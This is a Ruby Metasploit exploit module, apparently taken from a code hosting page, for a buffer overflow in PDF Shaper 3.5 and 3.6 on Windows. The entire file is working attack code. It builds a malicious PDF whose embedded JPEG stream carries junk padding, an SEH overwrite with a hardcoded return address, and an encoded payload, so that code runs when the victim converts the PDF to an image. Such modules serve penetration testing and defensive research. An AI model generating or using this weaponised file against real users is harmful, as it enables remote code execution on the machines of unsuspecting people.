120 lines
4.3 KiB
Ruby
120 lines
4.3 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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include Msf::Exploit::PDF
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'PDF Shaper Buffer Overflow',
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'Description' => %q{
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PDF Shaper is prone to a security vulnerability when processing PDF files.
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The vulnerability appears when we use Convert PDF to Image and use a specially
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crafted PDF file. This module has been tested successfully on Win XP, Win 7,
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Win 8, Win 10.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'metacom27[at]gmail.com - twitter.com/m3tac0m', # POC
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'metacom' # MSF Module
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],
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'References' =>
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[
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['EDB', '37760']
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process', # none/process/thread/seh
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},
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'Platform' => 'win',
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'Payload' =>
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{
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'Space' => 2000,
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'DisableNops' => true
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},
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'Targets' =>
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[
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['<Win Xp, Win 7, Win 8, Win 10 / PDF Shaper v.3.5 and v.3.6>',
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{
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'Ret' => 0x00402AC1, # PDFTools.exe
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'Offset' => 433
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => '2015-10-03',
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'DefaultTarget' => 0
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))
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register_options(
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[
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OptString.new('FILENAME', [false, 'The file name.', 'msf.pdf'])
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], self.class
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)
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end
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def exploit
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file_create(make_pdf)
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end
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def jpeg
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buffer = "\xFF\xD8\xFF\xEE\x00\x0E\x41\x64\x6F\x62\x65\x00\x64\x80\x00\x00"
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buffer << "\x00\x02\xFF\xDB\x00\x84\x00\x02\x02\x02\x02\x02\x02\x02\x02\x02"
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buffer << "\x02\x03\x02\x02\x02\x03\x04\x03\x03\x03\x03\x04\x05\x04\x04\x04"
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buffer << "\x04\x04\x05\x05\x05\x05\x05\x05\x05\x05\x05\x05\x07\x08\x08\x08"
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buffer << "\x07\x05\x09\x0A\x0A\x0A\x0A\x09\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x0C"
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buffer << "\x0C\x0C\x0C\x0C\x0C\x0C\x0C\x01\x03\x02\x02\x03\x03\x03\x07\x05"
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buffer << "\x05\x07\x0D\x0A\x09\x0A\x0D\x0F\x0D\x0D\x0D\x0D\x0F\x0F\x0C\x0C"
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buffer << "\x0C\x0C\x0C\x0F\x0F\x0C\x0C\x0C\x0C\x0C\x0C\x0F\x0C\x0E\x0E\x0E"
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buffer << "\x0E\x0E\x0C\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11\x11"
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buffer << "\x11\x11\x11\x11\x11\x11\x11\x11\xFF\xC0\x00\x14\x08\x00\x32\x00"
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buffer << "\xE6\x04\x01\x11\x00\x02\x11\x01\x03\x11\x01\x04\x11\x00\xFF\xC4"
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buffer << "\x01\xA2\x00\x00\x00\x07\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00"
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buffer << "\x00\x00\x00\x04\x05\x03\x02\x06\x01\x00\x07\x08\x09\x0A\x0B\x01"
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buffer << "\x54\x02\x02\x03\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00"
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buffer << "\x01\x00\x02\x03\x04\x05\x06\x07"
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buffer << rand_text(target['Offset']) # junk
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buffer << generate_seh_record(target.ret)
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buffer << payload.encoded
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buffer << rand_text(2388 - payload.encoded.length)
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buffer
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end
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def make_pdf
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@pdf << header
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add_object(1, "<</Type/Catalog/Outlines 2 0 R /Pages 3 0 R>>")
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add_object(2, "<</Type/Outlines>>")
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add_object(3, "<</Type/Pages/Kids[5 0 R]/Count 1/Resources <</ProcSet 4 0 R/XObject <</I0 7 0 R>>>>/MediaBox[0 0 612.0 792.0]>>")
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add_object(4, "[/PDF/Text/ImageC]")
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add_object(5, "<</Type/Page/Parent 3 0 R/Contents 6 0 R>>")
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stream_1 = "stream" << eol
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stream_1 << "0.000 0.000 0.000 rg 0.000 0.000 0.000 RG q 265.000 0 0 229.000 41.000 522.000 cm /I0 Do Q" << eol
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stream_1 << "endstream" << eol
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add_object(6, "<</Length 91>>#{stream_1}")
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stream = "<<" << eol
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stream << "/Width 230" << eol
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stream << "/BitsPerComponent 8" << eol
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stream << "/Name /X" << eol
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stream << "/Height 50" << eol
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stream << "/Intent /RelativeColorimetric" << eol
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stream << "/Subtype /Image" << eol
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stream << "/Filter /DCTDecode" << eol
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stream << "/Length #{jpeg.length}" << eol
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stream << "/ColorSpace /DeviceCMYK" << eol
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stream << "/Type /XObject" << eol
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stream << ">>"
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stream << "stream" << eol
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stream << jpeg << eol
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stream << "endstream" << eol
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add_object(7, stream)
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finish_pdf
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end
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end
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